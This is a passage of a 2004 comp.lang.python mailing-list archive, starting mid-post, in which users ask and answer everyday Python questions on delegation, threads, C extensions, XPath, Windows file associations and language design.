there is a potential licensing issue for Windows programs.
http://www.thekompany.com/products/blackadder/
http://www.trolltech.com/products/qt/designer.html

> I am hoping that standard python install will have some GUI development 
> modules & GUI builder in built.

No. Python is fairly GUI-agnostic - although Tkinter is included with 
the standard installer on some platforms, a GUI builder is not.
However, as evinced by the list above, it plays nicely with a number
GUI toolkits and GUI builders.

Regards, Myles.


From __peter__ at web.de  Mon Feb  9 09:37:31 2004
From: __peter__ at web.de (Peter Otten)
Date: Mon, 09 Feb 2004 15:37:31 +0100
Subject: Transfer undefined class methods to attribute's method.
References: <c084pg$4m2$1@news.tudelft.nl>
Message-ID: <c085vb$j9s$00$1@news.t-online.com>

Maarten van Reeuwijk wrote:

> Hello,
> 
> Maybe I was a little too detailed in my previous post [same title]. I can
> boil down my problem to this: say I have a class A that I encapsulate with
> a class Proxy. Now I just want to override and add some functionality (see
> my other post why). All functionality not defined in the Proxy class
> should be delegated (I can't use inheritance, see other post). It should
> be possible to achieve this using Python's great introspection
> possibilities, but I can't find out how. Any help would be really
> appreciated!
> 
> TIA, Maarten
> 
> Example (class A and Proxy):
> 
> class A:
>     def __init__(self):
>         pass
> 
>     def methodA(self):
>         pass
> 
>     def methodB(self):
>         pass
> 
>     def methodC(self):
>         pass
> 
> class Proxy:
>     def __init__(self):
>         self.a = A()
> 
>         # maybe scan the methods in A and not in this class?????
>         # setup a hook for undefined methods?
> 
>     def methodA(self):
>         # what I DON'T want:
>         return self.a.methodA()
>         # and this for every method...
> 
> 
>     # maybe something like this?
>     def process_unknownmethod(self, method, args):
>         return self.a.method(args)
> 
> P = Proxy()
> P.methodA()
> P.methodC()
> 
> output:
> Traceback (most recent call last):
>   File "group.py", line 36, in ?
>     P.methodC()
> 
> 
> 

The __getattr__() method could be helpful for your problem. It's calld for
every missing attribute - not just methods. If you want to set attributes,
there's a corresponding __setattr__() method which is called for *every*
attribute.

Adopting your example:

class A:
    def methodA(self):
        print "original A"

    def methodB(self):
        print "original B"


class Proxy:
    def __init__(self, wrapped):
        self._wrapped = wrapped

    def methodA(self):
        print "replacement A, internally calling",
        return self._wrapped.methodA()

    def __getattr__(self, name):
        return getattr(self._wrapped, name)

a = A()
p = Proxy(a)
p.methodA()
p.methodB()


Peter


From jani at persian.com  Wed Feb  4 14:09:52 2004
From: jani at persian.com (Jani Yusef)
Date: 4 Feb 2004 11:09:52 -0800
Subject: configuring ODBC DSN with a python script
Message-ID: <d3be1825.0402041109.4ee4a88d@posting.google.com>

I am building an application which, unfortunately, *must* use an
access db. The users will have the relevane mdb file installed on
their system. As part of the installer. Now, the part I am stuck on is
how do I configure the ODBC dsn without having the user open up the
ODBC control panel which will in all honestly just scare and confuse
them. ;)
Has anyone approached this problem before? What did you do?
Thanks!!


From Srikanth.Mandava at cosinecom.com  Wed Feb 18 15:43:46 2004
From: Srikanth.Mandava at cosinecom.com (Srikanth Mandava)
Date: Wed, 18 Feb 2004 12:43:46 -0800
Subject: control-c and threads, signals in 2.3 causing all sorts of issues
Message-ID: <C7A78812AA9B5B4987B37EBB4E9375742073A4@exchsrv-eng.eng.cosinecom.com>

	Hi!

	 When a signal handler is registered in the main thread and
	 "control-c" is entered, the child thread is getting the
	 KeyboardInterrupt exception(The documentation says the main thread
	 MUST receive the signal handler function call if handler is
	 registered). 

	 In python 2.2.1 the main thread was always called with
	 the sigint signal handler which was registered. In my case the
	 child thread is waiting on stdin using "raw_input" function. This
	 seems to be causing all sorts of strange behavior in the program
	 once the child thread gets the keyboardinterrupt exception and
	 eventually leading to seg fault on a sys exit .

	 Any idea why this is happening in 2.3.1? This scenario worked in
	 2.2.1. Is this fixed in 2.3.2?.


	Thanks
Srikanth
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From peter at engcorp.com  Tue Feb 17 15:02:27 2004
From: peter at engcorp.com (Peter Hansen)
Date: Tue, 17 Feb 2004 15:02:27 -0500
Subject: How do make a function that creates a sequence of n random
	numbers?
References: <8e3e8c6c.0402171124.1183350c@posting.google.com>
Message-ID: <40327353.427A67CE@engcorp.com>

shivermetimbers15 wrote:
> 
> I'm new to Python, as you can tell, and I'm interested in how to do this.

1. Go through the Python tutorial step by step.

2. Read the online docs and learn about the "random" module.

3. Write the function using a simple for loop and xrange(), 
   and appending the results of calls to random.randint() to  
   a list, returning the list when you're done.

If you need more help, I suggest you post the code you have written so
far to this mailing list/newsgroup and ask for feedback.  You'll learn
the most, the fastest, this way, and will demonstrate your own willingness
to do some of the work.

-Peter


From lubowiecka at go2.pl  Wed Feb  4 04:29:18 2004
From: lubowiecka at go2.pl (Sylwia)
Date: 4 Feb 2004 01:29:18 -0800
Subject: self-extracting installer
Message-ID: <f6554b84.0402040129.15d6807c@posting.google.com>

Hi!

How can I create in Python a self-extracting file containing some files that
automaticly starts the setup program when I double click on the file?

Is that possible in Python?

Thank you in advance,

Sylwia


From ville at spammers.com  Fri Feb 27 03:36:39 2004
From: ville at spammers.com (Ville Vainio)
Date: 27 Feb 2004 10:36:39 +0200
Subject: How does Ruby compare to Python?? How good is DESIGN of Ruby
	compared to Python?
References: <bf23f78f.0402241443.678bf6c8@posting.google.com>
	<92c59a2c.0402242319.3a5020d8@posting.google.com>
Message-ID: <du7znb4c414.fsf@amadeus.cc.tut.fi>

>>>>> "MetalOne" == MetalOne  <jcb at iteris.com> writes:

    MetalOne> Ruby is a fine language, but the community is smaller,
    MetalOne> the bindings to external libraries are smaller and the
    MetalOne> number of extra packages are smaller.

So, basically, it's probably not worth the trouble. It's a less mature
implementation of pretty much the same ideas. 

If you are jonesing for a new language to play with, you could as well
play with Lisp. At least you would learn something new.

-- 
Ville Vainio   http://tinyurl.com/2prnb


From antonmuhin at rambler.ru  Mon Feb  9 11:42:36 2004
From: antonmuhin at rambler.ru (anton muhin)
Date: Mon, 09 Feb 2004 19:42:36 +0300
Subject: Reference gotcha
In-Reply-To: <mailman.1370.1076341607.12720.python-list@python.org>
References: <mailman.1370.1076341607.12720.python-list@python.org>
Message-ID: <c08dgc$14lpkb$1@ID-217427.news.uni-berlin.de>

Ed Schofield wrote:

> Hi all,
> This interested me:
> 
> 
>>>>a1 = a2 = {}
>>>>a1['blah'] = 1
>>>>a2
> 
> {'blah': 1}
> 
>>>>a1 == a2
> 
> True
> 
> 
> Whereas ...
> 
> 
> 
>>>>b1 = b2 = 0
>>>>b1 += 1
>>>>b2
> 
> 0
> 
>>>>b1 == b2
> 
> False
> 
> So how should one create a robust alias for a numeric type?
> 
> This bit me when I was trying to do the following in a class:
> 	def __init__(self, data):
> 		a = self.a = {}
> 		b = self.b = {}
> 		c = self.c = 0
> 
> 		# and increment them here ...
> 
> Best regards,
> Ed Schofield
> 
> 

Standard trick is to use single element list or just a small object with 
integer field.

hth,
anton.


From list-python at ccraig.org  Fri Feb 27 10:05:22 2004
From: list-python at ccraig.org (Christopher A. Craig)
Date: 27 Feb 2004 10:05:22 -0500
Subject: No Thoughts about Everything
References: <403F1D6E.70001@compuserve.de>
Message-ID: <t1w7jy84l71.fsf@kermit.wreck.org>

b-blochl <bblochl2 at compuserve.de> writes:

> My  starting point was the modifier static in combination with final. (I will
> use it to define natural constants once, without a chance to change them, may
> be eventually by inattention.) But I argue that that JAVA-concepts are not
> familiar in the python world. (One should look over the fence from time to
> time!) The modifier "final" (he keyword final) means that the value assigned
> to a name is final and will never change. such name declared *static and
> final* will exist as a single copy of the constant and will be shared among
> all the objects instantiated from the class. In JAVA a variable (or class) is
> set static simply by applying the modifier "static" and a variable (or class)
> is set final simply by applying the modifier "final".(To remember:
> "1. Beautiful is better than ugly." and "3.  Simple is better than complex.") 
> Then one copy of that variable (object) will be created the first time that a
> class is loaded, and that copy will remain in existence until the program
> stops running. (That ist possible in python by the builtin
> "staticmethod(function):". But I find the application of the keyword static
> more elegant and simple.

The purpose of those modifiers is not to prevent programmers from
changing them but to provide the compiler with information on
optimizations.  There is no real benefit from declaring something
final rather than establishing a convention that things that are upper
case are constants and should not be changed, and the addition of a
useless keyword makes the language more complex by definition.

If you can't trust your fellow programmers to follow style guidelines,
how can you trust them not to remove final from the declaration?

> *Again: The essential point of my interest was  to combine static with final
> in python as well!* That is state of the art and common use in real OOP. That
> is not a pervert idea of mine but a weel established concept. I never saw my
> snipplet of dirty code as the philosophers stone. ( The philosophers stone is
> sometimes very similar with the fools stone.) I know the unacceptable
> disadvantage of the error message if someone tries to change the value of the
> tuple. So it is not applicable in a real program! I used it to clearify my
> imagination of the realisation of "static final". So obviously that everyone
> thinks me to write crazy code and wearing a too large hat or pushing beginners
> off the programmers wagon! And I never ever planned to "teach" such nonsense
> code to everyone. (Again it was only a try to clarify the proposed
> concept.)

It is common in C-like languages because of their heavy weight
optimizer, it's not at all common in SmallTalk or OCmal (the former of
which I would be hard pressed not to call "real OOP" if Java is).
That said, Python doesn't claim to be any other language.  In Python
all data protection is by convention (which I'll note I've never seen
a problem with in practice).

> Preventing  programmers to reassign values of Variables is obligate suspicion
> for the sake of robust professional program development. The essential point
> is, that no one should ever finger a static final varable in strict OOP and
> there very often is absolutely no need for! It is absolute wrong to speak of
> ill-intentioned /undisciplined programmers. Mankind is very unperfekt and one
> should stay on earth. Every programmer always is ill-intentioned
> /undisciplined - at first I myself! As a fact the largest error in computer
> science is sitting in front of the computer! ( May be the wife/husband of a
> programmer may have left him, or actually the beer drinking event
> "Oktoberfest" in Munich makes some headache. And so on.)  So it should be a
> rule of the trade to make the making of errors impossible where ever
> possible. For instance use of "static final" will help. Use it when ever
> appropriate!

Here is where you part ways with most Python developers.  I'm not sure
what your first sentence means, but the context is pretty clear.  Yes,
programmers are imperfect, but they are hopefully at least capable of
reasoning.  If I establish a coding style that you are not to change
the value of uppercase variable, I would hope anyone over the age of 5
understands that to mean you are not to change the value of uppercase
variables.  Similarly, roads could be constructed to constrain you to
one side of the street, but we expect adults to understand and abide
by convention.  

If someone changes a value I meant to be constant then they have done
one of two things.  

1) they imported my module and changed stuff within either my module
or an instance of my class without bothering to read the
documentation.  I don't see how declaring the variable final would
have helped this.  They could just as easily have called my add()
function expecting it to subtract, which no amount of language
handholding would fix.  If you can't be troubled to read and follow
the API, you shouldn't expect to get good results.

2) They modified my module without bothering to read it.  In this case
they could just as easily removed the "final" statement from my
variable declaration.


> There are some different fields of application - for some fields
> python is perfect as it is. But I miss some modern concepts in
> python I would like to find and use. I do miss the usual concepts of
> modern programming techniques in python. For instance I find it
> practically impossible to map a UML design to a python program. I
> would say *UML sets the conceptual standard for todays professional
> application programming*. Conceptual standard says nothing about
> syntax. My vision and dream is the marriage of the scripting power
> with the intentation syntax with the strict object power of
> JAVA.. (I am awaiting a flame?)  And I have pointed out that sefety
> *must be* mostly part of the language to keep systems save and
> manageable!  In the Jython index I found no entry for the keyword
> "final".

There was a time when people would have used the same arguments to say
that C was not following the path of modern languages like Cobol and
would surely go the way of the dinosaur in short order.

-- 
Christopher A. Craig <list-python at ccraig.org>
"I wouldn't be surprised if the architecture of Intel's microprocessors
were eventually linked to the eventual fall of mankind." Steve Gibson




From Scott.Daniels at Acm.Org  Fri Feb 20 15:25:37 2004
From: Scott.Daniels at Acm.Org (Scott David Daniels)
Date: Fri, 20 Feb 2004 12:25:37 -0800
Subject: #! Question
In-Reply-To: <30875970.0402191650.57dfe998@posting.google.com>
References: <30875970.0402191650.57dfe998@posting.google.com>
Message-ID: <40367658$1@nntp0.pdx.net>

Ian Pellew wrote:

> How do I get line one to call python:-
> This is line one in my python script 
> #!C:/Program Files/Python2.3.3/python.exe

As Josiah Carlson pointed out, the mechanism on windows is
different.  You can figure out how to do this in the command
line environment by typing "HELP ASSOC" and "HELP FTYPE".
Essentially, there is a two-layer association between file
extensions and programs.  ASSOC sets the association of an
extension with a file type.  FTYPE associates a file type
with a command.

So, after typing the following to your command processor:

     ASSOC .py=Python.File
     FTYPE Python.File=C:\python23\python.exe %1 %*

You should be able to run python files by simply typing their
name (assuming a standard python 2.3 install on drive C).

-- 
-Scott David Daniels
Scott.Daniels at Acm.Org


From shalabh at cafepy.com  Sat Feb 21 15:19:19 2004
From: shalabh at cafepy.com (Shalabh Chaturvedi)
Date: Sat, 21 Feb 2004 20:19:19 GMT
Subject: class vs function ???
References: <1c764367.0402210857.579f59ab@posting.google.com>
Message-ID: <b3PZb.42665$5W3.31138@nwrddc02.gnilink.net>

Gaurav Veda wrote:

> Hi !
> 
> I am a poor mortal who has become terrified of Python. It seems to
> have thrown all the OO concepts out of the window. Penniless, I ask a
> basic question :
> What is the difference between a class and a function in Python ???

As seen in your code, you have to call the function to execute the code in
it. And as not seen, you can create instances of classes but not of
functions.

At the risk of telling too much, I'll mention two concepts here:

1. Everything is an object. A class, a function, a list, a string, an int
are all objects. This means you can pass functions and classes around like
other objects.

2. Objects are created as and when specified. See comments below.

> Consider the following code fragments :
> # Fragment 1 begins
> 
> a = 1

Here you create a new int object and bind it to the name 'a'.

> print a
> def fun1():
>     global b
>     b = "inside fun1"
>     print b

Here you create a new function object and bind it to name 'fun1'. The def
statement creates a new function object. The code is 'stored' inside the
function object and gets executed later, when you call the function like...

> fun1()
> def c1():
>     print a
>     print b
>     c = 12
>     def fun2():
>         global d
>         d = "We are dead !!!"
>         print d
>     fun2()

Another function got created. Note that the 'def fun2()' statement will not
be executed until c1 is called. And everytime it is called, a new fun2 will
be created (just like a new c is created by 'c = 12'). Also, there is no
way you can call fun2 from outside c1.

> c1()

Another function call.

> class c2:
>     pass

Here you create a new class and bind it to the name 'c2'. The class
statement creates a class. Code inside the class body is 'executed' to
create the attributes of the class. Here you have no code. If you had for
example:

class c2:
    a = 1
    b = 2
    c = a + b

then you'd have a class with three class attributes (c2.a, c2.b and c2.c).
Everything inside the body is executed *once* and all the names are
collected to make the class.

> print d
> print c
> 
> # Fragment 1 ends
> # Fragment 2 begins
> a = 1
> print a
> def fun1():
>     global b
>     b = "inside fun1"
>     print b
> fun1()
> class c1:
>     print a
>     print b
>     c = 12
>     def fun2():
>         global d
>         d = "We are dead !!!"
>         print d
>     fun2()

A class with a body. Note the 'execution' of the 'def fun2()' statement
creates a function object which ends up in the class (c1.fun2). It is
executed only once, fun2 will never be created again. Calling fun2() in the
body isn't really much use (neither are the print statements).

If you call a class (which you never do), you create an instance of a class
(which is yet another object). Then you can call the functions defined in
the class from the instance. The tutorial might help you here - to use
classes like classes in any other language, as a template for creating
instances and holding common methods.

> class c2:
>     pass
> 
> print d
> print c
> 
> # Fragment 2 ends
> 
> The output of both these codes are precisely the same ! (including the
> error because of 'print c')

Python keeps all OO concepts intact. The implementation may be somewhat
different from some other languages, but a class behaves like a class and a
function behaves like a function.

Python is mostly easy. If some things are confusing, I suggest you initially
'use as directed', i.e. go through the tutorial and follow other examples
of how it is used.

--
Shalabh


From jcarlson at nospam.uci.edu  Fri Feb 20 01:10:18 2004
From: jcarlson at nospam.uci.edu (Josiah Carlson)
Date: Thu, 19 Feb 2004 22:10:18 -0800
Subject: Actual memory used by an object --- How to Determine?
In-Reply-To: <o55b301n4egma7be0il75gim9bqkc1m55s@4ax.com>
References: <o55b301n4egma7be0il75gim9bqkc1m55s@4ax.com>
Message-ID: <c148h4$1u4$1@news.service.uci.edu>

>   My apologies in advance for asking a
>   question that probably has been raised
>   numerous times already in this newsgroup.
>   My Google search did not lead me to an 
>   answer I could use.
> 
>   Is there a Python module I could use
>   to determine the actual amount of memory
>   used by a Python object, including the 
>   memory used by any subobjects contained
>   therein?

Quick answer: No.

Long answer:
In *nix, there are various programs that tell you the amount of memory a 
resident process is using, my personal favorite for process information 
is ps.  You may be able to query it with the proper string to find the 
total amount of memory Python is using in total, which may or may not be 
useful.  There are utilities for windows that functionally mirror *nix 
ps.  Either could be run from within Python, to be processed with python 
via:
a = os.popen('ps <args...>', 'r')
output = a.read()
a.close()

  - Josiah


From carroll at tjc.com  Sat Feb  7 01:18:36 2004
From: carroll at tjc.com (Terry Carroll)
Date: Sat, 07 Feb 2004 06:18:36 GMT
Subject: OT: Recommended news reader?
References: <4f0a9fdb.0402031309.fde7220@posting.google.com>
	<m3y8rhbenz.fsf@tanelorn.bandersnatch.org>
	<y8rh9zfx.fsf@python.net>
Message-ID: <do09201rmodi5q5q19085p08e8sstgcb63@4ax.com>

On Thu, 05 Feb 2004 19:02:58 +0100, Thomas Heller <theller at python.net>
wrote:

>But I was very astonished to see that no other mail/news client I have
>examined allows customizing the From: address depending on the folder or
>group you are currently in.  

Forte's Agent allows this; I dunno about Free Agent.



From deets_noospaam at web.de  Mon Feb  2 19:17:05 2004
From: deets_noospaam at web.de (Diez B. Roggisch)
Date: Tue, 03 Feb 2004 01:17:05 +0100
Subject: Produce anti-noise
References: <56f42e53.0402021410.5f2b2d93@posting.google.com>
	<bvmlik$kam$06$1@news.t-online.com>
	<slrnc1to6u.5bm.dek@pink.Berkeley.EDU>
Message-ID: <bvmpa2$14k$00$1@news.t-online.com>

> Hmm.  You can buy a $200 set of bose headphones that do it with a simple
> chip and low power.
> I think a regular PC could do this (so long as you know the equations) by
> brute force.  You'd probably want to use signal processing libraries
> rather than pure Python, though.

I'm no acoustics expert, so I'm sort on the speculative side here. But I
described a different scenario: speakers _not_ attached close to your ear.
Then the room accoustics and the place of reception have to be taken into
account. Otherwise, the signal that reaches your ear would have shifts and
other artifacts.

OTOH, when you wear headphones, the scenario seems much simpler, as you then
can detect and produce the appropriate sounds close to the ear. This seem
to be easier.

So, it depends on what the OP had in mind. 

Regards,

Diez


From chrish at cryptocard.com  Wed Feb 11 09:47:29 2004
From: chrish at cryptocard.com (Chris Herborth)
Date: Wed, 11 Feb 2004 09:47:29 -0500
Subject: xml getElementsByTagName w/o recursion?
In-Reply-To: <ab4c5633.0402110336.4d786ff6@posting.google.com>
References: <ab4c5633.0402110336.4d786ff6@posting.google.com>
Message-ID: <nbrWb.6650$y07.406725@news20.bellglobal.com>

Simon Dahlbacka wrote:
> this is perhaps not directly a python question, but how do I get a
> direct child element without going down the tree and possibly find
> another element with the same name there?

Install PyXML and use xml.xpath.Evaluate().

> <foo>
>  <bar>
>   <name>This is the interesting part</name>
>   <baz>
>    <something>...</something>
>    <name>this is what I DO NOT want</nameA
>   </baz>
>  </bar>
> </foo>
> 
> I am using xml.dom.minidom and I was thinking along the line of
> 
> ...
> fooNode.childNodes.getNamedNode("name")
> ...
> but that doesn't work..

# Find all of the <name> children of <bar>:
results = xml.xpath.Evaluate( "/foo/bar/child::name", fooNode )

# xml.xpath.Evaluate() returns a list of results, or []
nameNode = results[0]

Or, if you didn't know what the tags were but you still needed the first
<name> element:

results = xml.xpath.Evaluate( "/descendant::name[position()=1]", fooNode )
nameNode = results[0]

XPath (http://www.w3c.org/TR/xpath) can be a bit tricky to pick up, but it's 
_very_ powerful for navigating a DOM tree.

-- 
Chris Herborth                                     chrish at cryptocard.com
Documentation Overlord, CRYPTOCard Corp.      http://www.cryptocard.com/
Never send a monster to do the work of an evil scientist.


From jdhunter at ace.bsd.uchicago.edu  Mon Feb 23 12:26:54 2004
From: jdhunter at ace.bsd.uchicago.edu (John Hunter)
Date: Mon, 23 Feb 2004 11:26:54 -0600
Subject: python extension: incref question
In-Reply-To: <7876a8ea.0402222142.143bbe5f@posting.google.com>
	(woodsplitter@rocketmail.com's
	message of "22 Feb 2004 21:42:17 -0800")
References: <mailman.171.1077471512.27104.python-list@python.org>
	<7876a8ea.0402222142.143bbe5f@posting.google.com>
Message-ID: <m2wu6dd7vl.fsf@mother.paradise.lost>

>>>>> "David" == David Rushby <woodsplitter at rocketmail.com> writes:

    David> Mostly.  You're right about the reference ownership
    David> (PyDict_SetItem creates its own reference (see Python 2.3.3
    David> Objects/dictobject.c:531)).  However, I would recommend
    David> disposing of the extra reference not in your type's dealloc
    David> function, but as soon as you've sent the value to


Thanks for the suggestions.  Since I have to set a lot of these, I
wrote a macro.  

#define SETATTR(o,setattr_func,name,PyBuilder,val) \
{ \
PyObject *pval =PyBuilder(val);\
if (pval == NULL) {PyErr_NoMemory(); return NULL;}\
int gsetResult = setattr_func(o, name, pval);\
Py_DECREF(pval);\
if (gsetResult == -1) {\
      PyErr_SetString(PyExc_RuntimeError, "Could not set attr");\
    return NULL;\
}\
}

(for some reason my compiler issued warnings on the return
PyErr_NoMemory() you suggested (incompatible return type) which is
surprising since PyErr_NoMemory returns NULL.  Maybe a macro issue?

which I use like

  SETATTR(self, FT2Font_setattr, "postscript_name", PyString_FromString, ps_name);
  SETATTR(self, FT2Font_setattr, "num_faces",       PyInt_FromLong,      self->face->num_faces);

Do you see any problems with this approach?

Also, I was surprised to find that these attrs don't automagically
appear in a dir(myobj).  I've been planning to consult the docs or
google since I'm sure it's a relatively obvious thing I'm missing, but
I thought I'd mention it while I had your ear :-).

JDH



From jmcalvar at telecable.es  Wed Feb  4 10:10:48 2004
From: jmcalvar at telecable.es (=?ISO-8859-1?Q?Jos=E9?=)
Date: Wed, 04 Feb 2004 16:10:48 +0100
Subject: search between 2 files
In-Reply-To: <bvqoea$pjj$1@nsnmrro2-gest.nuria.telefonica-data.net>
References: <bvqoea$pjj$1@nsnmrro2-gest.nuria.telefonica-data.net>
Message-ID: <bvr21s$aev$1@nsnmrro2-gest.nuria.telefonica-data.net>

mmmh, it's not the same, but I try with this indications.

I have a file called "data" from djbdns with different domain, for example:

----------------------
.domain.com:ns.domain.com
+domain.com
+.*domain.com
.domain1.com:ns.domain1.com
+domain.com
+.*domain.com
------------------------

and have a new file for example "list" with new domains

-------------------------
newdomain.com
newdomain1.com
newdomain1.com
-------------------------

I'm programming a little interface in python, and before I modify the 
"data" file I'd like to know if I have in the list one domain I have in 
data.

Thans




Jos? escribi?:
> I'm newby in Python, and I'm working on a script to manage files.
> I have two files, one with a list of domains, and the other with a new 
> list of domains. I'd like to know if I have a repeated domain in the 
> new's one. I tried opening with readline(), with readlines(), but truly 
> I have no idea to countinue.
> 
> Have anybody any question?
> 
> thanks
> 



From pinard at iro.umontreal.ca  Mon Feb  9 16:14:17 2004
From: pinard at iro.umontreal.ca (=?iso-8859-1?Q?Fran=E7ois?= Pinard)
Date: Mon, 9 Feb 2004 16:14:17 -0500
Subject: Allowing non-ASCII identifiers (Fran?ois Pinard)
In-Reply-To: <4027EAC5.2090603@prescod.net>
References: <uFQVb.58$%X3.42@nwrddc01.gnilink.net>
	<4027EAC5.2090603@prescod.net>
Message-ID: <20040209211417.GA14076@titan.progiciels-bpi.ca>

[Paul Prescod]

> I wonder if the proposal would be more palatable if it were restricted
> to 8-bit encodings (what we used to call "code pages").  This is at
> least a first step in the right direction that would help westerners
> and could be made to work even if Python were compiled without Unicode
> support.

To repeat something I was writing to python-dev earlier today, it
already works by some kind of accident.  A smallish main program
could do:

    import locale
    locale.setlocale(locale.LC_ALL, '')
    import THE-REAL-APPLICATION

to activate your code page, given your environment is already set for
it.  This will activate proper classification of characters in <ctype.c>
and then, Python seems to behave properly with non-ASCII identifiers
within the imported application.

It is an accident because it was not meant this way by Guido, at least
so far that I know.  The trick might break at various places, who knows.
I did not test it seriously, and do not intend to rely on it, as Guido
might even choose to consider this as a bug to be corrected.

The plan rather seems to be to support non-ASCII identifiers widely
instead of parsimoniously, if Python ever does it, or not at all.  The
decision has not been taken yet, Guido wants a PEP and a discussion
first.

In my experience, such discussions are often rough (or at least
demanding), because people have a lot of emotions on linguistic
issues, and do not always show the real relations between emotions and
rationalisations, which sometimes get convoluted.

> (it is still possible to compile Python without Unicode isn't it?)

I would guess that Unicode in Python is central if you want codecs to
work, in particular for all code pages which Python currently supports.

-- 
Fran?ois Pinard   http://www.iro.umontreal.ca/~pinard



From amk at amk.ca  Fri Feb 27 21:23:38 2004
From: amk at amk.ca (A.M. Kuchling)
Date: Fri, 27 Feb 2004 20:23:38 -0600
Subject: Pure Python HTTPS Server
References: <mailman.183.1077835573.8594.python-list@python.org>
	<mailman.208.1077908506.8594.python-list@python.org>
Message-ID: <p-CdnfAxKuA3ZqLdRVn-jg@speakeasy.net>

On Fri, 27 Feb 2004 11:01:08 -0800, 
	Trevor Perrin <trevp at trevp.net> wrote:
> I'm a little fuzzy about asynch stuff.  I don't think I can emulate a 
> file-descriptor to make it work with select().  What about an interface 
> where you can say "get any available bytes", with no blocking?  Is that on 
> the right track?

The hard part is really the initial negotiation, which has to be
interruptible in order to avoid making the entire server hang if a client
disappears during the initial exchange of packets.

> Are you and Paul still looking at adding ciphers to stdlib?  That would 
> make me really, really happy :-)....

No, unfortunately; the python-dev consensus was that encryption raised
export control issues, and the existing rotor module is now on its way to
being removed.

--amk


From bblochl at fh-lausitz.de  Thu Feb 26 03:00:59 2004
From: bblochl at fh-lausitz.de (bblochl)
Date: Thu, 26 Feb 2004 09:00:59 +0100
Subject: No Thoughts about Everything
Message-ID: <403DA7BB.6030009@fh-lausitz.de>

I found a solution for the simulation of access modifier "static final " 
in python:


class Mytest:
    LOGE_10=(2.302585092994046,)
    #Klassenkonstante (static final) use a tuple :-)
    #def __init__(self):
        
    def log10(self,x):
        return(log(x)/LOGE_10[0])

testmath=Mytest()
print "LOGE_10=%10.8f"%Mytest.LOGE_10[0]," and 
log10=%f10.8"%testmath.log10(3)
Mytest.LOGE_10[0]=1
#print "LOGE_10=%10.8f"%Mytest.LOGE_10[0]," and 
log10=%f10.8"%testmath.log10(3)


#output:
#LOGE_10=2.30258509  and log10=0.47712110.8
#Traceback (most recent call last):
#  File 
"C:\Python22\Lib\site-packages\Pythonwin\pywin\framework\scriptutils.py", 
line 301, in RunScript
#    exec codeObject in __main__.__dict__
#  File "C:\PyProgs\Static.py", line 13, in ?
#    #Mytest.LOGE_10=1
#TypeError: object doesn't support item assignment
#

I think the result is selfexplaining. Unawaited there is another 
argument for tuples! One may use it for the definition of global 
"Constants" as well.

Hopefully that contribution will be of  interest and profit for other 
python users. Thanks for your contributions.

Bernhard

PS: Has everyone tried to use classes as elements of tuples? please give 
me a hint.




From cappy2112 at yahoo.com  Fri Feb 27 16:29:13 2004
From: cappy2112 at yahoo.com (Tony C)
Date: 27 Feb 2004 13:29:13 -0800
Subject: Tab expansion problem or ..?
Message-ID: <8d3e714e.0402271329.40201ed2@posting.google.com>

I've written a program which reads a text file in , and writes it out
to a new filename.

When the program encounters a line which contains a specific text
label-, I read in the hex number adjacent to the label, convert the
number to decimal, then write the line of text to the output file.

Essentially, the output file is mostly identical to the input file,
with the exception of the hex numbers being converted to decimal.

The problem I'm having is getting the exact location of the hex
numbers.

fhIn = open("input.txt")

for line in fhIn:
  if 'HEXNUM' in line:
    Hexloc = line.find('HEXNUM')
    print"\n%s" % line[:Hexloc]

The index returned by find() does not seem to be accurate.

When I display the line using the offset (Hexloc), the text displayed
is many characters away from the text label 'HEXNUM'.


So I then tried
 
fhIn = open("input.txt")

for line in fhIn:
  if 'HEXNUM' in line.expandtabs():
    Hexloc = line.find('HEXNUM')
    print"\n%s" % line[:Hexloc]

and I've tried passing numbers from 1-4 to expantabs, all with
different results.

I've verified that there are tab characters in the input file, by
using an editor which can display the "whitespace characters" as
visible symbols.


Am I overlooking something painfully obvious here ?


thanks in advance


From seberino at spawar.navy.mil  Tue Feb  3 16:50:09 2004
From: seberino at spawar.navy.mil (seberino at spawar.navy.mil)
Date: Tue, 3 Feb 2004 13:50:09 -0800
Subject: in c extension what is easiest way to build a (PyObject) list
	from	an array of doubles?
In-Reply-To: <401F47ED.6070405@prescod.net>
References: <bf23f78f.0402022256.7ace879c@posting.google.com>
	<401F47ED.6070405@prescod.net>
Message-ID: <20040203215009.GC9669@spawar.navy.mil>

Paul

Thanks.  I agree array is great in Python for processing
homogenous lists but what about in **C code** if you must
return a Python list built from a C array?

How do you build a list/tuple/array/ from a C array of numbers?

Chris

On Mon, Feb 02, 2004 at 11:04:13PM -0800, Paul Prescod wrote:
> Christian Seberino wrote:
>
> >In c extension what is easiest way to build a (PyObject) list from an
> >array of doubles?
>
> No. Check out the array module.
>
>  Paul Prescod
>
>

--
_______________________________________

Christian Seberino, Ph.D.
SPAWAR Systems Center San Diego
Code 2872
49258 Mills Street, Room 158
San Diego, CA 92152-5385
U.S.A.

Phone: (619) 553-9973
Fax  : (619) 553-6521
Email: seberino at spawar.navy.mil
_______________________________________



From jcarlson at nospam.uci.edu  Fri Feb  6 12:36:10 2004
From: jcarlson at nospam.uci.edu (Josiah Carlson)
Date: Fri, 06 Feb 2004 09:36:10 -0800
Subject: __new__ to create copy
In-Reply-To: <bvvprg$81b$1@news.rz.uni-karlsruhe.de>
References: <bvvprg$81b$1@news.rz.uni-karlsruhe.de>
Message-ID: <c00jem$kk0$1@news.service.uci.edu>

> How is such a thing done correctly? Where is the exact difference between
> __new__ and __init__?

For some reason, I'm not finding the doc page, but I am pretty sure the 
below is the case.
If __new__ exists, it will be called.
If __new__ exists, it must call __init__ for __init__ to be called.
If __new__ doesn't exist, __init__ will be called, if it exists.


How I usually copy my classes:

class blah:
     def __init__(self, arg1, arg2, ...):
         self.arg1 = arg1
         self.arg2 = arg2
         ...
     def copy(self):
         return blah(self.arg1, self.arg2, ...)

It may not be pretty, but it works.

  - Josiah


From dietrich at zdome.net  Wed Feb  4 02:00:40 2004
From: dietrich at zdome.net (Dietrich Epp)
Date: Tue, 3 Feb 2004 23:00:40 -0800
Subject: Modules, namespaces, parents, and import
In-Reply-To: <E1AoGX5-0006RR-4z.2004-02-04-06-29-07@tmailb1.svr.pol.co.uk>
References: <E1AoGX5-0006RR-4z.2004-02-04-06-29-07@tmailb1.svr.pol.co.uk>
Message-ID: <D7D1BC11-56DF-11D8-95A9-0003934ACDEC@zdome.net>


On Feb 3, 2004, at 10:28 PM, Dan Williams wrote:

> Hi people
>
> I've just joined the Python list and although I'm sure my question 
> must be
> asked fairly frequently, I have been unable to find an answer after 
> two days
> of searching. For the record, my total Python experience is also two 
> days :)
> (I come from a C++ background though, so I have good programming 
> knowledge
> in general).
>
